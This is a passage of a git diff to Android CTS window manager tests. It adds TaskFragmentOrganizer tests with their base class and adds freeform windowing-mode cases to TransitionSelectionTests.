+import android.os.Bundle;
+import android.os.IBinder;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.WindowContextTests.TestActivity;
+import android.server.wm.WindowManagerState.Task;
+import android.server.wm.WindowManagerState.TaskFragment;
+import android.window.TaskFragmentCreationParams;
+import android.window.TaskFragmentInfo;
+import android.window.TaskFragmentOrganizer;
+import android.window.WindowContainerToken;
+import android.window.WindowContainerTransaction;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+/**
+ * Tests that verify the behavior of {@link TaskFragmentOrganizer}.
+ *
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:TaskFragmentOrganizerTest
+ */
+@Presubmit
+public class TaskFragmentOrganizerTest extends TaskFragmentOrganizerTestBase {
+    private Activity mOwnerActivity;
+    private IBinder mOwnerToken;
+    private ComponentName mOwnerActivityName;
+    private int mOwnerTaskId;
+    private final ComponentName mLaunchingActivity = new ComponentName(mContext,
+            WindowMetricsActivityTests.MetricsActivity.class);
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mOwnerActivity = startActivity(TestActivity.class);
+        mOwnerToken = getActivityToken(mOwnerActivity);
+        mOwnerActivityName = mOwnerActivity.getComponentName();
+        mOwnerTaskId = mOwnerActivity.getTaskId();
+    }
+
+    /**
+     * Verifies the behavior of
+     * {@link WindowContainerTransaction#createTaskFragment(TaskFragmentCreationParams)} to create
+     * TaskFragment.
+     */
+    @Test
+    public void testCreateTaskFragment() {
+        mWmState.computeState(mOwnerActivityName);
+        Task parentTask = mWmState.getRootTask(mOwnerActivity.getTaskId());
+        final int originalTaskFragCount = parentTask.getTaskFragments().size();
+
+        final IBinder taskFragToken = new Binder();
+        final Rect bounds = new Rect(0, 0, 1000, 1000);
+        final int windowingMode = WINDOWING_MODE_MULTI_WINDOW;
+        final TaskFragmentCreationParams params = new TaskFragmentCreationParams.Builder(
+                mTaskFragmentOrganizer.getOrganizerToken(), taskFragToken, mOwnerToken)
+                .setInitialBounds(bounds)
+                .setWindowingMode(windowingMode)
+                .build();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .createTaskFragment(params);
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+        final TaskFragmentInfo info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken);
+
+        assertEmptyTaskFragment(info, taskFragToken);
+        assertThat(info.getConfiguration().windowConfiguration.getBounds()).isEqualTo(bounds);
+        assertThat(info.getWindowingMode()).isEqualTo(windowingMode);
+
+        mWmState.computeState(mOwnerActivityName);
+        parentTask = mWmState.getRootTask(mOwnerActivity.getTaskId());
+        final int curTaskFragCount = parentTask.getTaskFragments().size();
+
+        assertWithMessage("There must be a TaskFragment created under Task#"
+                + mOwnerTaskId).that(curTaskFragCount - originalTaskFragCount)
+                .isEqualTo(1);
+    }
+
+    /**
+     * Verifies the behavior of
+     * {@link WindowContainerTransaction#reparentActivityToTaskFragment(IBinder, IBinder)} to
+     * reparent {@link Activity} to TaskFragment.
+     */
+    @Test
+    public void testReparentActivity() {
+        mWmState.computeState(mOwnerActivityName);
+
+        final TaskFragmentCreationParams params = generateTaskFragCreationParams();
+        final IBinder taskFragToken = params.getFragmentToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .createTaskFragment(params)
+                .reparentActivityToTaskFragment(taskFragToken, mOwnerToken);
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+        assertNotEmptyTaskFragment(mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken),
+                taskFragToken, mOwnerToken);
+
+        mWmState.waitForActivityState(mOwnerActivityName, WindowManagerState.STATE_RESUMED);
+
+        final Task parentTask = mWmState.getTaskByActivity(mOwnerActivityName);
+        final TaskFragment taskFragment = mWmState.getTaskFragmentByActivity(mOwnerActivityName);
+
+        // Assert window hierarchy must be as follows
+        // - owner Activity's Task (parentTask)
+        //   - taskFragment
+        //     - owner Activity
+        assertWindowHierarchy(parentTask, taskFragment, mWmState.getActivity(mOwnerActivityName));
+    }
+
+    /**
+     * Verifies the behavior of
+     * {@link WindowContainerTransaction#startActivityInTaskFragment(IBinder, IBinder, Intent,
+     * Bundle)} to start Activity in TaskFragment without creating new Task.
+     */
+    @Test
+    @Ignore("b/197364677")
+    public void testStartActivityInTaskFragment_reuseTask() {
+        final TaskFragmentCreationParams params = generateTaskFragCreationParams();
+        final IBinder taskFragToken = params.getFragmentToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .createTaskFragment(params)
+                .startActivityInTaskFragment(taskFragToken, mOwnerToken,
+                        new Intent().setComponent(mLaunchingActivity), null /* activityOptions */);
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+        TaskFragmentInfo info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken);
+        assertNotEmptyTaskFragment(info, taskFragToken);
+
+        mWmState.waitForActivityState(mLaunchingActivity, WindowManagerState.STATE_RESUMED);
+
+        Task parentTask = mWmState.getRootTask(mOwnerActivity.getTaskId());
+        TaskFragment taskFragment = mWmState.getTaskFragmentByActivity(mLaunchingActivity);
+
+        // Assert window hierarchy must be as follows
+        // - owner Activity's Task (parentTask)
+        //   - taskFragment
+        //     - LAUNCHING_ACTIVITY
+        //   - owner Activity
+        assertWindowHierarchy(parentTask, taskFragment, mWmState.getActivity(mLaunchingActivity));
+        assertWindowHierarchy(parentTask, mWmState.getActivity(mOwnerActivityName));
+        assertWithMessage("The owner Activity's Task must be reused as"
+                + " the launching Activity's Task.").that(parentTask)
+                .isEqualTo(mWmState.getTaskByActivity(mLaunchingActivity));
+    }
+
+    /**
+     * Verifies the behavior of
+     * {@link WindowContainerTransaction#startActivityInTaskFragment(IBinder, IBinder, Intent,
+     * Bundle)} to start Activity on new created Task.
+     */
+    @Test
+    @Ignore("b/197364677")
+    public void testStartActivityInTaskFragment_createNewTask() {
+        final TaskFragmentCreationParams params = generateTaskFragCreationParams();
+        final IBinder taskFragToken = params.getFragmentToken();
+        final Intent intent = new Intent()
+                .setComponent(mLaunchingActivity)
+                .addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .createTaskFragment(params)
+                .startActivityInTaskFragment(taskFragToken, mOwnerToken, intent,
+                        null /* activityOptions */);
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+        TaskFragmentInfo info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken);
+        assertNotEmptyTaskFragment(info, taskFragToken);
+
+        mWmState.waitForActivityState(mLaunchingActivity, WindowManagerState.STATE_RESUMED);
+
+        Task parentTask = mWmState.getRootTask(mOwnerActivity.getTaskId());
+        TaskFragment taskFragment = mWmState.getTaskFragmentByActivity(mLaunchingActivity);
+        Task childTask = mWmState.getTaskByActivity(mLaunchingActivity);
+
+        // Assert window hierarchy must be as follows
+        // - owner Activity's Task (parentTask)
+        //   - taskFragment
+        //     - new created Task
+        //       - LAUNCHING_ACTIVITY
+        //   - owner Activity
+        assertWindowHierarchy(parentTask, taskFragment, childTask,
+                mWmState.getActivity(mLaunchingActivity));
+        assertWindowHierarchy(parentTask, mWmState.getActivity(mOwnerActivityName));
+    }
+
+    /**
+     * Verifies the behavior of
+     * {@link WindowContainerTransaction#deleteTaskFragment(WindowContainerToken)} to remove
+     * the organized TaskFragment.
+     */
+    @Test
+    public void testDeleteTaskFragment() {
+        final TaskFragmentCreationParams params = generateTaskFragCreationParams();
+        final IBinder taskFragToken = params.getFragmentToken();
+
+        WindowContainerTransaction wct = new WindowContainerTransaction()
+                .createTaskFragment(params);
+        mTaskFragmentOrganizer.applyTransaction(wct);
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+
+        TaskFragmentInfo info = mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken);
+        assertEmptyTaskFragment(info, taskFragToken);
+
+        mWmState.computeState(mOwnerActivityName);
+        final int originalTaskFragCount = mWmState.getRootTask(mOwnerTaskId).getTaskFragments()
+                .size();
+
+        wct = new WindowContainerTransaction().deleteTaskFragment(info.getToken());
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        mTaskFragmentOrganizer.waitForTaskFragmentRemoved();
+
+        assertEmptyTaskFragment(mTaskFragmentOrganizer.getRemovedTaskFragmentInfo(taskFragToken),
+                taskFragToken);
+
+        mWmState.computeState(mOwnerActivityName);
+        final int currTaskFragCount = mWmState.getRootTask(mOwnerTaskId).getTaskFragments().size();
+        assertWithMessage("TaskFragment with token " + taskFragToken + " must be"
+                + " removed.").that(originalTaskFragCount - currTaskFragCount).isEqualTo(1);
+    }
+
+    /**
+     * Verifies the visibility of an activity behind a TaskFragment that has the same
+     * bounds of the host Task.
+     */
+    @Test
+    public void testActivityVisibilityBehindTaskFragment() {
+        // Start an activity and reparent it to a TaskFragment.
+        final Activity embeddedActivity =
+                startActivity(WindowMetricsActivityTests.MetricsActivity.class);
+        final IBinder embeddedActivityToken = getActivityToken(embeddedActivity);
+        final TaskFragmentCreationParams params = generateTaskFragCreationParams();
+        final IBinder taskFragToken = params.getFragmentToken();
+        final WindowContainerTransaction wct = new WindowContainerTransaction()
+                .createTaskFragment(params)
+                .reparentActivityToTaskFragment(taskFragToken, embeddedActivityToken);
+        mTaskFragmentOrganizer.applyTransaction(wct);
+        mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+        // The activity below must be occluded and stopped.
+        waitAndAssertActivityState(mOwnerActivityName, WindowManagerState.STATE_STOPPED,
+                "Activity must be stopped");
+
+        // Finishing the top activity and remain the TaskFragment on top. The next top activity
+        // must be resumed.
+        embeddedActivity.finish();
+        waitAndAssertResumedActivity(mOwnerActivityName, "Activity must be resumed");
+    }
+
+    @NonNull
+    private TaskFragmentCreationParams generateTaskFragCreationParams() {
+        return mTaskFragmentOrganizer.generateTaskFragParams(mOwnerToken);
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
new file mode 100644
index 0000000..34a16a5
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
@@ -0,0 +1,300 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.content.res.Configuration;
+import android.graphics.Rect;
+import android.os.Binder;
+import android.os.IBinder;
+import android.server.wm.WindowManagerState.WindowContainer;
+import android.util.ArrayMap;
+import android.window.TaskFragmentCreationParams;
+import android.window.TaskFragmentInfo;
+import android.window.TaskFragmentOrganizer;
+import android.window.WindowContainerTransaction;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import org.junit.After;
+import org.junit.Before;
+
+import java.util.Map;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Predicate;
+
+public class TaskFragmentOrganizerTestBase extends WindowManagerTestBase {
+    public BasicTaskFragmentOrganizer mTaskFragmentOrganizer;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        mTaskFragmentOrganizer = new BasicTaskFragmentOrganizer();
+        mTaskFragmentOrganizer.registerOrganizer();
+    }
+
+    @After
+    public void tearDown() {
+        mTaskFragmentOrganizer.unregisterOrganizer();
+    }
+
+    public static IBinder getActivityToken(@NonNull Activity activity) {
+        return activity.getWindow().getAttributes().token;
+    }
+
+    public static void assertEmptyTaskFragment(TaskFragmentInfo info,
+            IBinder expectedTaskFragToken) {
+        assertTaskFragmentInfoValidity(info, expectedTaskFragToken);
+        assertWithMessage("TaskFragment must be empty").that(info.isEmpty()).isTrue();
+        assertWithMessage("TaskFragmentInfo#getActivities must be empty")
+                .that(info.getActivities()).isEmpty();
+        assertWithMessage("TaskFragment must not contain any running Activity")
+                .that(info.hasRunningActivity()).isFalse();
+        assertWithMessage("TaskFragment must not be visible").that(info.isVisible()).isFalse();
+    }
+
+    public static void assertNotEmptyTaskFragment(TaskFragmentInfo info,
+            IBinder expectedTaskFragToken, @Nullable IBinder ... expectedActivityTokens) {
+        assertTaskFragmentInfoValidity(info, expectedTaskFragToken);
+        assertWithMessage("TaskFragment must not be empty").that(info.isEmpty()).isFalse();
+        assertWithMessage("TaskFragment must contain running Activity")
+                .that(info.hasRunningActivity()).isTrue();
+        if (expectedActivityTokens != null) {
+            assertWithMessage("TaskFragmentInfo#getActivities must be empty")
+                    .that(info.getActivities()).containsAtLeastElementsIn(expectedActivityTokens);
+        }
+    }
+
+    private static void assertTaskFragmentInfoValidity(TaskFragmentInfo info,
+            IBinder expectedTaskFragToken) {
+        assertWithMessage("TaskFragmentToken must match the token from "
+                + "TaskFragmentCreationParams#getFragmentToken")
+                .that(info.getFragmentToken()).isEqualTo(expectedTaskFragToken);
+        assertWithMessage("WindowContainerToken must not be null")
+                .that(info.getToken()).isNotNull();
+        assertWithMessage("TaskFragmentInfo#getPositionInParent must not be null")
+                .that(info.getPositionInParent()).isNotNull();
+        assertWithMessage("Configuration must not be empty")
+                .that(info.getConfiguration()).isNotEqualTo(new Configuration());
+    }
+
+    /**
+     * Verifies whether the window hierarchy is as expected or not.
+     * <p>
+     * The sample usage is as follows:
+     * <pre class="prettyprint">
+     * assertWindowHierarchy(rootTask, leafTask, taskFragment, activity);
+     * </pre></p>
+     *
+     * @param containers The containers to be verified. It should be put from top to down
+     */
+    public static void assertWindowHierarchy(WindowContainer... containers) {
+        for (int i = 0; i < containers.length - 2; i++) {
+            final WindowContainer parent = containers[i];
+            final WindowContainer child = containers[i + 1];
+            assertWithMessage(parent + " must contains " + child)
+                    .that(parent.mChildren).contains(child);
+        }
+    }
+
+    public static class BasicTaskFragmentOrganizer extends TaskFragmentOrganizer {
+        private final static int WAIT_TIMEOUT_IN_SECOND = 10;
+
+        private final Map<IBinder, TaskFragmentInfo> mInfos = new ArrayMap<>();
+        private final Map<IBinder, TaskFragmentInfo> mRemovedInfos = new ArrayMap<>();
+        private IBinder mTaskFragToken;
+        private Configuration mParentConfig;
+        private IBinder mErrorToken;
+        private Throwable mThrowable;
+
+        private CountDownLatch mAppearedLatch = new CountDownLatch(1);
+        private CountDownLatch mChangedLatch = new CountDownLatch(1);
+        private CountDownLatch mVanishedLatch = new CountDownLatch(1);
+        private CountDownLatch mParentChangedLatch = new CountDownLatch(1);
+        private CountDownLatch mErrorLatch = new CountDownLatch(1);
+
+        BasicTaskFragmentOrganizer() {
+            super(Runnable::run);
+        }
+
+        public TaskFragmentInfo getTaskFragmentInfo(IBinder taskFragToken) {
+            return mInfos.get(taskFragToken);
+        }
+
+        public TaskFragmentInfo getRemovedTaskFragmentInfo(IBinder taskFragToken) {
+            return mRemovedInfos.get(taskFragToken);
+        }
+
+        public Throwable getThrowable() {
+            return mThrowable;
+        }
+
+        public IBinder getErrorCallbackToken() {
+            return mErrorToken;
+        }
+
+        public void resetLatch() {
+            mAppearedLatch = new CountDownLatch(1);
+            mChangedLatch = new CountDownLatch(1);
+            mVanishedLatch = new CountDownLatch(1);
+            mParentChangedLatch = new CountDownLatch(1);
+            mErrorLatch = new CountDownLatch(1);
+        }
+
+        /**
+         * Generates a {@link TaskFragmentCreationParams} with {@code ownerToken} specified.
+         *
+         * @param ownerToken The token of {@link Activity} to create a TaskFragment under its parent
+         *                   Task
+         * @return the generated {@link TaskFragmentCreationParams}
+         */
+        @NonNull
+        public TaskFragmentCreationParams generateTaskFragParams(@NonNull IBinder ownerToken) {
+            return generateTaskFragParams(ownerToken, new Rect(), WINDOWING_MODE_UNDEFINED);
+        }
+
+        @NonNull
+        public TaskFragmentCreationParams generateTaskFragParams(@NonNull IBinder ownerToken,
+                @NonNull Rect bounds, int windowingMode) {
+            return new TaskFragmentCreationParams.Builder(getOrganizerToken(), new Binder(),
+                    ownerToken)
+                    .setInitialBounds(bounds)
+                    .setWindowingMode(windowingMode)
+                    .build();
+        }
+
+        public void setAppearedCount(int count) {
+            mAppearedLatch = new CountDownLatch(count);
+        }
+
+        public TaskFragmentInfo waitForAndGetTaskFragmentInfo(IBinder taskFragToken,
+                Predicate<TaskFragmentInfo> condition, String message) {
+            final TaskFragmentInfo[] info = new TaskFragmentInfo[1];
+            waitForOrFail(message, () -> {
+                info[0] = getTaskFragmentInfo(taskFragToken);
+                return condition.test(info[0]);
+            });
+            return info[0];
+        }
+
+        public void waitForTaskFragmentCreated() {
+            try {
+                assertThat(mAppearedLatch.await(WAIT_TIMEOUT_IN_SECOND, TimeUnit.SECONDS)).isTrue();
+            } catch (InterruptedException e) {
+                fail("Assertion failed because of" + e);
+            }
+        }
+
+        public void waitForTaskFragmentInfoChanged() {
+            try {
+                assertThat(mChangedLatch.await(WAIT_TIMEOUT_IN_SECOND, TimeUnit.SECONDS)).isTrue();
+            } catch (InterruptedException e) {
+                fail("Assertion failed because of" + e);
+            }
+        }
+
+        public void waitForTaskFragmentRemoved() {
+            try {
+                assertThat(mVanishedLatch.await(WAIT_TIMEOUT_IN_SECOND, TimeUnit.SECONDS)).isTrue();
+            } catch (InterruptedException e) {
+                fail("Assertion failed because of" + e);
+            }
+        }
+
+        public void waitForParentConfigChanged() {
+            try {
+                assertThat(mParentChangedLatch.await(WAIT_TIMEOUT_IN_SECOND, TimeUnit.SECONDS))
+                        .isTrue();
+            } catch (InterruptedException e) {
+                fail("Assertion failed because of" + e);
+            }
+        }
+
+        public void waitForTaskFragmentError() {
+            try {
+                assertThat(mErrorLatch.await(WAIT_TIMEOUT_IN_SECOND, TimeUnit.SECONDS)).isTrue();
+            } catch (InterruptedException e) {
+                fail("Assertion failed because of" + e);
+            }
+        }
+
+        private void removeAllTaskFragments() {
+            final WindowContainerTransaction wct = new WindowContainerTransaction();
+            for (TaskFragmentInfo info : mInfos.values()) {
+                wct.deleteTaskFragment(info.getToken());
+            }
+            applyTransaction(wct);
+        }
+
+        @Override
+        public void unregisterOrganizer() {
+            removeAllTaskFragments();
+            mRemovedInfos.clear();
+            super.unregisterOrganizer();
+        }
+
+        @Override
+        public void onTaskFragmentAppeared(@NonNull TaskFragmentInfo taskFragmentInfo) {
+            super.onTaskFragmentAppeared(taskFragmentInfo);
+            mInfos.put(taskFragmentInfo.getFragmentToken(), taskFragmentInfo);
+            mAppearedLatch.countDown();
+        }
+
+        @Override
+        public void onTaskFragmentInfoChanged(@NonNull TaskFragmentInfo taskFragmentInfo) {
+            super.onTaskFragmentInfoChanged(taskFragmentInfo);
+            mInfos.put(taskFragmentInfo.getFragmentToken(), taskFragmentInfo);
+            mChangedLatch.countDown();
+        }
+
+        @Override
+        public void onTaskFragmentVanished(@NonNull TaskFragmentInfo taskFragmentInfo) {
+            super.onTaskFragmentVanished(taskFragmentInfo);
+            mInfos.remove(taskFragmentInfo.getFragmentToken());
+            mRemovedInfos.put(taskFragmentInfo.getFragmentToken(), taskFragmentInfo);
+            mVanishedLatch.countDown();
+        }
+
+        @Override
+        public void onTaskFragmentParentInfoChanged(@NonNull IBinder fragmentToken,
+                @NonNull Configuration parentConfig) {
+            super.onTaskFragmentParentInfoChanged(fragmentToken, parentConfig);
+            mTaskFragToken = fragmentToken;
+            mParentConfig = parentConfig;
+            mParentChangedLatch.countDown();
+        }
+
+        @Override
+        public void onTaskFragmentError(@NonNull IBinder errorCallbackToken,
+                @NonNull Throwable exception) {
+            super.onTaskFragmentError(errorCallbackToken, exception);
+            mErrorToken = errorCallbackToken;
+            mThrowable = exception;
+            mErrorLatch.countDown();
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
index ea007aa..2a5de2f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TransitionSelectionTests.java
@@ -16,6 +16,8 @@
 
 package android.server.wm;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.server.wm.WindowManagerState.TRANSIT_ACTIVITY_CLOSE;
 import static android.server.wm.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
 import static android.server.wm.WindowManagerState.TRANSIT_TASK_CLOSE;
@@ -39,10 +41,14 @@
 import static android.server.wm.app.Components.TopActivity.EXTRA_FINISH_DELAY;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assume.assumeTrue;
+import static org.junit.Assume.assumeFalse;
 
 import android.content.ComponentName;
+import android.os.SystemProperties;
 import android.platform.test.annotations.Presubmit;
 
+import org.junit.Before;
 import org.junit.Test;
 
 /**
@@ -60,6 +66,11 @@
 @Presubmit
 public class TransitionSelectionTests extends ActivityManagerTestBase {
 
+    @Before
+    public void setup() {
+        assumeFalse(ENABLE_SHELL_TRANSITIONS);
+    }
+
     // Test activity open/close under normal timing
     @Test
     public void testOpenActivity_NeitherWallpaper() {
@@ -102,38 +113,59 @@
     // Test task open/close under normal timing
     @Test
     public void testOpenTask_NeitherWallpaper() {
-        testOpenTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
-            true /* topResizable */, false /*slowStop*/, TRANSIT_TASK_OPEN);
+        testOpenTask(false /*bottomWallpaper*/, false /*topWallpaper*/, true /* topResizable */,
+                false /*slowStop*/, TRANSIT_TASK_OPEN, WINDOWING_MODE_FULLSCREEN);
+    }
+
+    @Test
+    public void testOpenFreeformTask_NeitherWallpaper() {
+        assumeTrue(supportsFreeform());
+        testOpenTask(false /*bottomWallpaper*/, false /*topWallpaper*/, true /* topResizable */,
+                false /*slowStop*/, TRANSIT_TASK_OPEN, WINDOWING_MODE_FREEFORM);
     }
 
     @Test
     public void testCloseTask_NeitherWallpaper() {
-        testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
-            true /* topResizable */, false /*slowStop*/, TRANSIT_TASK_CLOSE);
+        testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/, true /* topResizable */,
+                false /*slowStop*/, TRANSIT_TASK_CLOSE, WINDOWING_MODE_FULLSCREEN);
     }
 
     @Test
     public void testOpenTask_BottomWallpaper_TopNonResizable() {
-        testOpenTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
-            false /* topResizable */, false /*slowStop*/, TRANSIT_WALLPAPER_CLOSE);
+        testOpenTask(true /*bottomWallpaper*/, false /*topWallpaper*/, false /* topResizable */,
+                false /*slowStop*/, TRANSIT_WALLPAPER_CLOSE, WINDOWING_MODE_FULLSCREEN);
+    }
+
+    @Test
+    public void testOpenFreeformTask_BottomWallpaper_TopResizable() {
+        assumeTrue(supportsFreeform());
+        testOpenTask(true /*bottomWallpaper*/, false /*topWallpaper*/, true /* topResizable */,
+                false /*slowStop*/, TRANSIT_TASK_OPEN, WINDOWING_MODE_FREEFORM);
     }
 
     @Test
     public void testCloseTask_BottomWallpaper_TopNonResizable() {
-        testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
-            false /* topResizable */, false /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
+        testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/, false /* topResizable */,
+                false /*slowStop*/, TRANSIT_WALLPAPER_OPEN, WINDOWING_MODE_FULLSCREEN);
+    }
+
+    @Test
+    public void testCloseFreeformTask_BottomWallpaper_TopResizable() {
+        assumeTrue(supportsFreeform());
+        testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/, true /* topResizable */,
+                false /*slowStop*/, TRANSIT_TASK_CLOSE, WINDOWING_MODE_FREEFORM);
     }
 
     @Test
     public void testOpenTask_BothWallpaper() {
-        testOpenTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
-            false /* topResizable */, false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN);
+        testOpenTask(true /*bottomWallpaper*/, true /*topWallpaper*/, false /* topResizable */,
+                false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN, WINDOWING_MODE_FULLSCREEN);
     }
 
     @Test
     public void testCloseTask_BothWallpaper() {
-        testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
-            false /* topResizable */, false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
+        testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/, false /* topResizable */,
+                false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE, WINDOWING_MODE_FULLSCREEN);
     }
 
     //------------------------------------------------------------------------//
@@ -166,20 +198,27 @@
     // before AM receives its activitiyStopped
     @Test
     public void testCloseTask_NeitherWallpaper_SlowStop() {
-        testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
-            true /* topResizable */, true /*slowStop*/, TRANSIT_TASK_CLOSE);
+        testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/, true /* topResizable */,
+                true /*slowStop*/, TRANSIT_TASK_CLOSE, WINDOWING_MODE_FULLSCREEN);
     }
 
     @Test
     public void testCloseTask_BottomWallpaper_TopNonResizable_SlowStop() {
-        testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
-            false /* topResizable */, true /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
+        testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/, false /* topResizable */,
+                true /*slowStop*/, TRANSIT_WALLPAPER_OPEN, WINDOWING_MODE_FULLSCREEN);
+    }
+
+    @Test
+    public void testCloseFreeformTask_BottomWallpaper_TopResizable_SlowStop() {
+        assumeTrue(supportsFreeform());
+        testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/, true /* topResizable */,
+                true /*slowStop*/, TRANSIT_TASK_CLOSE, WINDOWING_MODE_FREEFORM);
     }
 
     @Test
     public void testCloseTask_BothWallpaper_SlowStop() {
-        testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
-            false /* topResizable */, true /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
+        testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/, false /* topResizable */,
+                true /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE, WINDOWING_MODE_FULLSCREEN);
     }
 
     //------------------------------------------------------------------------//
@@ -227,42 +266,42 @@
             boolean topWallpaper, boolean slowStop, String expectedTransit) {
         testTransitionSelection(true /*testOpen*/, false /*testNewTask*/,
             bottomWallpaper, topWallpaper, false /*topTranslucent*/, true /* topResizable */,
-            slowStop, expectedTransit);
+            slowStop, expectedTransit, WINDOWING_MODE_FULLSCREEN);
     }
 
     private void testCloseActivity(boolean bottomWallpaper,
             boolean topWallpaper, boolean slowStop, String expectedTransit) {
         testTransitionSelection(false /*testOpen*/, false /*testNewTask*/,
             bottomWallpaper, topWallpaper, false /*topTranslucent*/, true /* topResizable */,
-            slowStop, expectedTransit);
+            slowStop, expectedTransit, WINDOWING_MODE_FULLSCREEN);
     }
 
-    private void testOpenTask(boolean bottomWallpaper,
-        boolean topWallpaper, boolean topResizable, boolean slowStop, String expectedTransit) {
+    private void testOpenTask(boolean bottomWallpaper, boolean topWallpaper, boolean topResizable,
+            boolean slowStop, String expectedTransit, int windowingMode) {
         testTransitionSelection(true /*testOpen*/, true /*testNewTask*/,
             bottomWallpaper, topWallpaper, false /*topTranslucent*/, topResizable, slowStop,
-            expectedTransit);
+            expectedTransit, windowingMode);
     }
 
-    private void testCloseTask(boolean bottomWallpaper,
-        boolean topWallpaper, boolean topResizable, boolean slowStop, String expectedTransit) {
+    private void testCloseTask(boolean bottomWallpaper, boolean topWallpaper, boolean topResizable,
+            boolean slowStop, String expectedTransit, int windowingMode) {
         testTransitionSelection(false /*testOpen*/, true /*testNewTask*/,
             bottomWallpaper, topWallpaper, false /*topTranslucent*/,
-            topResizable /* topResizable */, slowStop, expectedTransit);
+            topResizable /* topResizable */, slowStop, expectedTransit, windowingMode);
     }
 
     private void testCloseActivityTranslucent(boolean bottomWallpaper,
             boolean topWallpaper, String expectedTransit) {
         testTransitionSelection(false /*testOpen*/, false /*testNewTask*/,
             bottomWallpaper, topWallpaper, true /*topTranslucent*/, true /* topResizable */,
-            false /*slowStop*/, expectedTransit);
+            false /*slowStop*/, expectedTransit, WINDOWING_MODE_FULLSCREEN);
     }
 
     private void testCloseTaskTranslucent(boolean bottomWallpaper,
             boolean topWallpaper, String expectedTransit) {
         testTransitionSelection(false /*testOpen*/, true /*testNewTask*/,
             bottomWallpaper, topWallpaper, true /*topTranslucent*/, true /* topResizable */,
-            false /*slowStop*/, expectedTransit);
+            false /*slowStop*/, expectedTransit, WINDOWING_MODE_FULLSCREEN);
     }
 
     //------------------------------------------------------------------------//
@@ -270,7 +309,7 @@
     private void testTransitionSelection(
         boolean testOpen, boolean testNewTask,
